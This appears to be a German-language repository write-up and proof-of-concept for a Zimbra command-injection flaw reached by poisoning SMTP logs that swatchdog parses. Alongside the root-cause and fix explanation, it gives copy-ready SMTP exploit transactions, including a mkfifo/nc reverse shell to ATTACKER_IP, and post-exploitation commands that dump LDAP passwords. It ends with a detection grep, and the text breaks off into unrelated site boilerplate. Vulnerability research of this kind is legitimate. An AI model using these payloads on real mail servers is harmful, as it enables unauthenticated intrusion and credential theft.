
Zimbra Collaboration Suite RCE — SMTP-Log-Poisoning → swatchdog → OS-Befehlseinschleusung (CVSS 8.9, CISA KEV)
Hinweis: Dieses Repository enthält eine unabhängige technische Analyse und PoC-Reproduktion von CVE-2026-73570. Es handelt sich nicht um den ursprünglichen Schwachstellenbericht.
Zimbra Collaboration Suite RCE — SMTP-Log-Poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)
Typ: OS Command Injection → Unauthenticated RCE
Vektor: SMTP-Log-Poisoning → swatchdog → dosnmp String-Form-Shell-Expansion
Betroffener Bereich (Hersteller/CVE): Zimbra Collaboration Suite < 10.1.20
Voraussetzungen: zimbra-snmp installiert; SNMP-Benachrichtigungen aktiviert
CVSS: 8.9 (Hoch)
CISA KEV: Ja — in den CISA Known Exploited Vulnerabilities Catalog aufgenommen
Patch: Zimbra 10.1.20 (veröffentlicht am 2026-07-20)
Hinweis zum Versionsbereich: Die Hersteller-/CVE-Metadaten führen Zimbra < 10.1.20 als betroffene Versionen auf. Der im Rahmen dieser Untersuchung geprüfte Quellcode von Zimbra 10.1.0 verwendete jedoch bereits den sicheren
system()-Aufruf in Listenform. Dies deutet darauf hin, dass die verwundbare Implementierung in String-Form in einem Zwischen-Build eingeführt und später in 10.1.20 korrigiert wurde; die genaue Version, in der die Regression eingeführt wurde, wurde jedoch nicht unabhängig anhand der Repository-Historie verifiziert.
Die Schwachstelle befindet sich in /opt/zimbra/conf/swatchrc.in, innerhalb der Funktion dosnmp, die für das Senden von SNMP-Trap-Benachrichtigungen zuständig ist, wenn sich der Status eines Zimbra-Dienstes ändert.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
Die verwundbare Implementierung verwendet die String-Form von Perls system(). Der resultierende Befehl wird von einer Shell interpretiert, wodurch Shell-Metazeichen und Befehlssubstitutionen wie $(...), die in $args{SERVICE} enthalten sind, ausgewertet werden können.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
Der zentrale Sicherheitsfix besteht darin, von der String-Form auf die Listenform von system() umzustellen, wodurch die Shell-Interpretation von angreiferkontrollierten Daten verhindert wird.
Bei der Listenform werden die ausführbare Datei und ihre Argumente getrennt übergeben. Werte wie $(cmd) werden als wörtliche Daten und nicht als Shell-Syntax behandelt.
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
Das Kernproblem ist der vollständige Datenfluss:
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
Postfix akzeptiert den speziell präparierten quoted local-part und protokolliert ihn in zimbra.log. swatchdog interpretiert daraufhin übereinstimmenden Log-Inhalt als Service-Status-Ereignis, wodurch angreiferkontrollierte Daten die verwundbare system()-Invokation erreichen können.
Die folgenden Befehle wurden ausschließlich in einer isolierten Laborumgebung getestet.
Verbinden Sie sich mit dem Ziel-SMTP-Dienst:
nc <target> 25
Senden Sie eine speziell gestaltete SMTP-Transaktion:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Wenn die Ausnutzung erfolgreich ist, enthält /tmp/pwned_rce eine Ausgabe ähnlich wie:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Dies bestätigt die Befehlsausführung im Kontext des Benutzers zimbra.
Starten Sie einen Listener auf der Angreifer-Maschine:
nc -lvnp 4444
Dann übermittle die Payload über SMTP:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
Erfolgreiche Ausnutzung führt zu einer interaktiven Shell, die als Benutzer zimbra läuft.
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
Der im Rahmen dieser Untersuchung geprüfte Zimbra 10.1.0-Quellcode enthielt bereits die sichere Listenform-Implementierung von system().
Daher wurde die in diesem Labor verwendete Standardinstallation von 10.1.0 nicht als Beleg dafür gewertet, dass Zimbra 10.1.0 selbst anfällig war.
Um die durch CVE-2026-73570 beschriebene anfällige Bedingung zu reproduzieren, wurde swatchrc.in manuell geändert, um die anfällige Zeichenkettenform-Implementierung von system() zu verwenden.
Sichern Sie die ursprüngliche Konfiguration:
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
Das anfällige Verhalten kann dann im isolierten Labor reproduziert werden, indem die in der Sektion „Root Cause“ gezeigte String-Form-Implementierung angewendet und swatchdog gegen das Zimbra-Log ausgeführt wird.
Beispiel:
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
Diese Lab-Modifikation dient ausschließlich dazu, den verwundbaren Datenfluss zu reproduzieren und zu analysieren. Sie sollte nicht als Beweis dafür interpretiert werden, dass der unveränderte 10.1.0-Build verwundbar war.
Eine erfolgreiche Ausnutzung ermöglicht die Befehlsausführung als Benutzer zimbra.
Bestätigen Sie den Ausführungskontext:
id
Beispiel:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Die lokale Konfiguration von Zimbra kann Anmeldeinformationen offenlegen, die für das kompromittierte Dienstkonto verfügbar sind.
Zum Beispiel:
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
Diese Anmeldeinformationen können Zugriff auf Zimbras LDAP-Verzeichnis gewähren und die Auswirkungen der Post-Exploitation durch Erlangen von Befehlsausführung als Benutzer zimbra demonstrieren.
Durchsuchen Sie Postfix/Zimbra-Protokolle nach SMTP-Empfängereinträgen, die das swatchdog-Dienststatus-Muster enthalten:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
Eine breitere Suche nach Command-Substitution-Syntax innerhalb von quoted local-parts:
Entdecken Sie die meistgenutzten Tools unserer Community.
Noch keine Beliebtheitsdaten.